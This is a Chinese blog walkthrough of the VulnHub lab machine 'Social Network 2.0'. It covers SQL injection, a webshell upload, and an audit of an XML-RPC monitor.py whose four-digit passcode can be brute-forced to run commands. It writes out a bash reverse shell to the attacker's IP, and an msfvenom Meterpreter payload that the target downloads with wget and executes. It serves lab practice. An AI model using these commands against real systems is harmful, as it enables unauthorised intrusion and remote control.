0
点赞
收藏
分享

微信扫一扫

(vulhub靶机通关)BoredHackerBlog: Social Network 2.0

我阿霆哥 2022-01-07 阅读 58
安全

靶机下载地址:BoredHackerBlog: Social Network 2.0 ~ VulnHub

最终只拿到了本地权限,root权限的提升涉及逆向工程、缓冲区溢出的源码审计,还在摸索

首先,必须保证靶机、kali是通过桥接模式在同一网段

主机发现:


打开kali,通过ifconfig查看主机网段

nmap扫描网段:

nmap 192.168.43.0/24

找到靶机ip,开放了22、80、8000端口

获取webshell:

先访问80端口,是一个登录界面,login尝试弱口令、万能密码不成功,那就随便注册个账号登录

在Home有个搜索框、上传点以及输入框,如果是为了挖洞,输入框可以尝试xss,不过为了提权只需要sql注入、以及上传webshell

这里的上传点存在任意文件上传漏洞,可以直接上传webshell,如果上传点不存在上传漏洞也可以利用下面的sql注入进行获取webshell权限

搜索框

1’ 直接报错

1' # 正常

存在sql 注入,单引号闭合,手工注入、sqlmap都行,推荐手工,通过报错注入或union注入,最终可以爆出管理员的账号和密码,然后通过头像上传一句话木马连接

上传一句话木马,右键查看图片地址,获取路径进行连接,我采用蚁剑

web提权

(1)信息收集

查看进程:ps -ef

其中有一个socnet用户运行的进程monitor.py

查看monitor.py:cat /home/socnet/monitor.py

import SimpleXMLRPCServer

import subprocess

import random

debugging_pass = random.randint(1000,9999)

def runcmd(cmd):

    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

    output = results.stdout.read() + results.stderr.read()

    return output

def cpu():

    return runcmd("cat /proc/cpuinfo")

def mem():

    return runcmd("free -m")

def disk():

    return runcmd("df -h")

def net():

    return runcmd("ip a")

def secure_cmd(cmd,passcode):

    if passcode==debugging_pass:

         return runcmd(cmd)

    else:

        return "Wrong passcode."

server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))

server.register_function(cpu)

server.register_function(mem)

server.register_function(disk)

server.register_function(net)

server.register_function(secure_cmd)

server.serve_forever()

通过源码审计:

发现是一个XMLRPC的服务端,运行在8000端口

什么是XMLRPC?

RPCRemote Procedure Call),远程过程调用,是一种在本地的机器上调用远端机器上的一个过程(方法)的技术,这个过程也被大家称为“分布式计算”,是为了提高各个分立机器的“互操作性”而发明出来的技术

xml rpc是使用http协议做为传输协议rpc机制,使用xml文本的方式传输命令和数据。一个rpc系统,必然包括2个部分:1.rpc client,用来向rpc server调用方法,并接收方法的返回数据;2.rpc server,用于响应rpc client的请求,执行方法,并回送方法执行结果。

也就是说,客户端client可以远程调用服务端server的方法,从而远程操控服务端执行指定方法

比如:遥控器(client)、电视机(server),我们可以通过遥控器远程操控电视机,让电视机换台、调音量....

  1. 其中的runcmd方法,调用子进程将cmd作为shell命令执行,并且传入的cmd的值是可控的

def runcmd(cmd):

#shell=True,将cmd以shell命令执行
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = results.stdout.read() + results.stderr.read()
    return output

subprocess.Popen可参考:https://www.cnblogs.com/wind666/p/11142245.html

  1. 还有secure_cmd方法,传入cmd和passcode参数,当满足passcode==debugging_pass时,就会调用runcmd执行传入的cmd,否则输出Wrong passcode.

def secure_cmd(cmd,passcode):
    if passcode==debugging_pass:
         return runcmd(cmd)
    else:
        return "Wrong passcode."

  1. debugging_pass是通过random.ranint方法从[1000,9999]中随机生成一个整数,通过查找资料和测试,发现当运行程序时,每次调用这个方法生成的随机整数都跟第一次生成的整数是同一个

debugging_pass = random.randint(1000,9999)  #返回[1000,9999]中的任意一个整数

(4)所以,只要客户端构造一个passcode,从1000到9999,每次增1,然后不断的去调用服务端的secure_cmd方法,必定能够使passcode==debugging_pass,从而调用runcmd方法执行cmd命令

传入构造好的cmd就可以反弹shell得到socnet用户权限

kali:192.168.43.150

靶机:192.168.43.117

反弹shell:bash -c “ bash -i >& /dev/tcp/192.168.43.150/8888 0>&1”

我用python3写的payload进行攻击,python2也可以,只是相关模块的名字有所变化

payload:

本地提权:

先将会话反弹到msf

生成木马:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.150 LPORT=4444 -f elf > cute_dolphin.bin  

复制到web目录:

cp cute_dolphin.bin /var/www/html

开启apache服务:

service apache2 start

靶机通过wget下载到tmp目录:

wget http://kali的IP/cute_dolphin.bin

给予执行权限并执行:

chmod +x cute_dolphin.bin

./cute_dolphin.bin

打开msf:

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set LHOST 192.168.43.150  #kali的ip

set LPOST 4444  #监听端口

run

成功建立会话,通过python调用本地shell实现交互式命令行

python -c 'import pty; pty.spawn("/bin/bash")'

如果run的时候出现以下问题导致建立会话失败,可能是端口4444被占用了,

在终端输入 “netstat -tulpen”,查看进程端口信息

通过命令”fuser -k 端口号/tcp“,删除4444端口进程

举报

相关推荐

0 条评论